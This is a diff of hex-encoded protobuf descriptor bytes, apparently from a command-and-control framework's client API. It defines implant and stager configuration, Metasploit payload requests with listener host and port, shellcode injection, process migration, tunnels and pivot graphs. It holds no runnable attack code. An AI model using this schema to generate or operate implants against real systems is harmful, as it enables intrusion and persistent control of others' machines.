- 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x43, 0x6f,
- 0x6e, 0x66, 0x69, 0x67, 0x52, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x43, 0x6f, 0x6e, 0x66,
- 0x69, 0x67, 0x12, 0x43, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e,
- 0x66, 0x69, 0x67, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65,
- 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x49, 0x6d, 0x70, 0x6c, 0x61,
- 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e,
- 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, 0xbc, 0x01, 0x0a, 0x12, 0x48, 0x54, 0x54, 0x50,
- 0x43, 0x32, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e,
- 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x32,
- 0x0a, 0x14, 0x52, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x48,
- 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x14, 0x52, 0x61,
- 0x6e, 0x64, 0x6f, 0x6d, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x48, 0x65, 0x61, 0x64, 0x65,
- 0x72, 0x73, 0x12, 0x30, 0x0a, 0x07, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x03, 0x20,
- 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48,
- 0x54, 0x54, 0x50, 0x43, 0x32, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x07, 0x48, 0x65, 0x61,
- 0x64, 0x65, 0x72, 0x73, 0x12, 0x30, 0x0a, 0x07, 0x43, 0x6f, 0x6f, 0x6b, 0x69, 0x65, 0x73, 0x18,
- 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
- 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6f, 0x6b, 0x69, 0x65, 0x52, 0x07, 0x43,
- 0x6f, 0x6f, 0x6b, 0x69, 0x65, 0x73, 0x22, 0xf8, 0x05, 0x0a, 0x13, 0x48, 0x54, 0x54, 0x50, 0x43,
- 0x32, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e,
- 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1c,
- 0x0a, 0x09, 0x55, 0x73, 0x65, 0x72, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28,
- 0x09, 0x52, 0x09, 0x55, 0x73, 0x65, 0x72, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x12, 0x2c, 0x0a, 0x11,
+ 0x22, 0x52, 0x0a, 0x0b, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12,
+ 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32,
+ 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61,
+ 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67,
+ 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04,
+ 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x8c, 0x02, 0x0a, 0x10, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74,
+ 0x65, 0x53, 0x74, 0x61, 0x67, 0x65, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x72, 0x6f,
+ 0x66, 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x50, 0x72, 0x6f, 0x66,
+ 0x69, 0x6c, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28,
+ 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x41, 0x45, 0x53, 0x45, 0x6e,
+ 0x63, 0x72, 0x79, 0x70, 0x74, 0x4b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d,
+ 0x41, 0x45, 0x53, 0x45, 0x6e, 0x63, 0x72, 0x79, 0x70, 0x74, 0x4b, 0x65, 0x79, 0x12, 0x22, 0x0a,
+ 0x0c, 0x41, 0x45, 0x53, 0x45, 0x6e, 0x63, 0x72, 0x79, 0x70, 0x74, 0x49, 0x76, 0x18, 0x04, 0x20,
+ 0x01, 0x28, 0x09, 0x52, 0x0c, 0x41, 0x45, 0x53, 0x45, 0x6e, 0x63, 0x72, 0x79, 0x70, 0x74, 0x49,
+ 0x76, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x43, 0x34, 0x45, 0x6e, 0x63, 0x72, 0x79, 0x70, 0x74, 0x4b,
+ 0x65, 0x79, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x52, 0x43, 0x34, 0x45, 0x6e, 0x63,
+ 0x72, 0x79, 0x70, 0x74, 0x4b, 0x65, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x65, 0x70, 0x65,
+ 0x6e, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x50, 0x72,
+ 0x65, 0x70, 0x65, 0x6e, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x6f, 0x6d,
+ 0x70, 0x72, 0x65, 0x73, 0x73, 0x46, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x43, 0x6f,
+ 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x46, 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x6f, 0x6d, 0x70, 0x72,
+ 0x65, 0x73, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x43, 0x6f, 0x6d, 0x70, 0x72,
+ 0x65, 0x73, 0x73, 0x22, 0x2e, 0x0a, 0x08, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12,
+ 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e,
+ 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46,
+ 0x69, 0x6c, 0x65, 0x22, 0xb5, 0x01, 0x0a, 0x06, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x71, 0x12, 0x18,
+ 0x0a, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52,
+ 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x48, 0x6f, 0x73,
+ 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x14,
+ 0x0a, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4c,
+ 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18,
+ 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1e,
+ 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, 0x20, 0x01,
+ 0x28, 0x05, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2b,
+ 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32,
+ 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65,
+ 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xcd, 0x01, 0x0a, 0x0c,
+ 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07,
+ 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x50,
+ 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x18,
+ 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05,
+ 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4c, 0x50, 0x6f,
+ 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x04, 0x20,
+ 0x01, 0x28, 0x09, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a,
+ 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x05,
+ 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x10, 0x0a, 0x03,
+ 0x50, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x50, 0x49, 0x44, 0x12, 0x2b,
+ 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32,
+ 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65,
+ 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xe0, 0x01, 0x0a, 0x11,
+ 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65,
+ 0x71, 0x12, 0x33, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x01, 0x20,
+ 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53,
+ 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x52, 0x08, 0x50, 0x72,
+ 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02,
+ 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f,
+ 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x12,
+ 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61,
+ 0x74, 0x61, 0x12, 0x12, 0x0a, 0x04, 0x43, 0x65, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c,
+ 0x52, 0x04, 0x43, 0x65, 0x72, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x06, 0x20,
+ 0x01, 0x28, 0x0c, 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x43, 0x4d, 0x45,
+ 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x12, 0x20, 0x0a, 0x0b,
+ 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28,
+ 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x26,
+ 0x0a, 0x0e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72,
+ 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52,
+ 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0x67, 0x0a, 0x0f, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63,
+ 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74,
+ 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x22, 0x0a,
+ 0x0c, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20,
+ 0x01, 0x28, 0x09, 0x52, 0x0c, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d,
+ 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x41, 0x72, 0x67, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x03,
+ 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x41, 0x72, 0x67, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x22,
+ 0x22, 0x0a, 0x0c, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12,
+ 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44,
+ 0x61, 0x74, 0x61, 0x22, 0x8f, 0x02, 0x0a, 0x0c, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65,
+ 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x01, 0x20, 0x01,
+ 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x16, 0x0a, 0x06, 0x46, 0x6f, 0x72, 0x6d,
+ 0x61, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74,
+ 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04,
+ 0x50, 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x04, 0x20, 0x01,
+ 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x05,
+ 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x33, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74,
+ 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69,
+ 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f,
+ 0x63, 0x6f, 0x6c, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x1a, 0x0a,
+ 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, 0x09, 0x52,
+ 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x1e, 0x0a, 0x0a, 0x41, 0x64, 0x76,
+ 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x41,
+ 0x64, 0x76, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2a, 0x0a, 0x10, 0x48, 0x54, 0x54,
+ 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x09, 0x20,
+ 0x01, 0x28, 0x09, 0x52, 0x10, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69,
+ 0x67, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x2f, 0x0a, 0x09, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67,
+ 0x65, 0x72, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b,
+ 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65,
+ 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0xa8, 0x01, 0x0a, 0x0c, 0x47, 0x65, 0x74, 0x53, 0x79,
+ 0x73, 0x74, 0x65, 0x6d, 0x52, 0x65, 0x71, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x6f, 0x73, 0x74, 0x69,
+ 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52,
+ 0x0e, 0x48, 0x6f, 0x73, 0x74, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x12,
+ 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32,
+ 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61,
+ 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67,
+ 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04,
+ 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18,
+ 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
+ 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73,
+ 0x74, 0x22, 0xc6, 0x01, 0x0a, 0x0a, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71,
+ 0x12, 0x10, 0x0a, 0x03, 0x50, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x50,
+ 0x69, 0x64, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, 0x01,
+ 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d,
+ 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e,
+ 0x66, 0x69, 0x67, 0x12, 0x34, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x03,
+ 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
+ 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72,
+ 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d,
+ 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a,
+ 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11,
+ 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73,
+ 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3e, 0x0a, 0x0f, 0x43, 0x72,
+ 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x2b, 0x0a,
+ 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11,
+ 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73,
+ 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x4c, 0x0a, 0x0c, 0x43, 0x72,
+ 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65,
+ 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x53,
+ 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e,
+ 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x08,
+ 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x22, 0x5d, 0x0a, 0x0e, 0x43, 0x6c, 0x6f, 0x73,
+ 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75,
+ 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01,
+ 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65,
+ 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f,
+ 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07,
+ 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xa1, 0x01, 0x0a, 0x0f, 0x50, 0x69, 0x76, 0x6f,
+ 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x50,
+ 0x65, 0x65, 0x72, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x50, 0x65, 0x65,
+ 0x72, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02,
+ 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
+ 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e,
+ 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04,
+ 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e,
+ 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
+ 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72,
+ 0x79, 0x52, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x22, 0x43, 0x0a, 0x0a, 0x50,
+ 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x35, 0x0a, 0x08, 0x43, 0x68, 0x69,
+ 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c,
+ 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70,
+ 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e,
+ 0x22, 0x5c, 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44,
+ 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61,
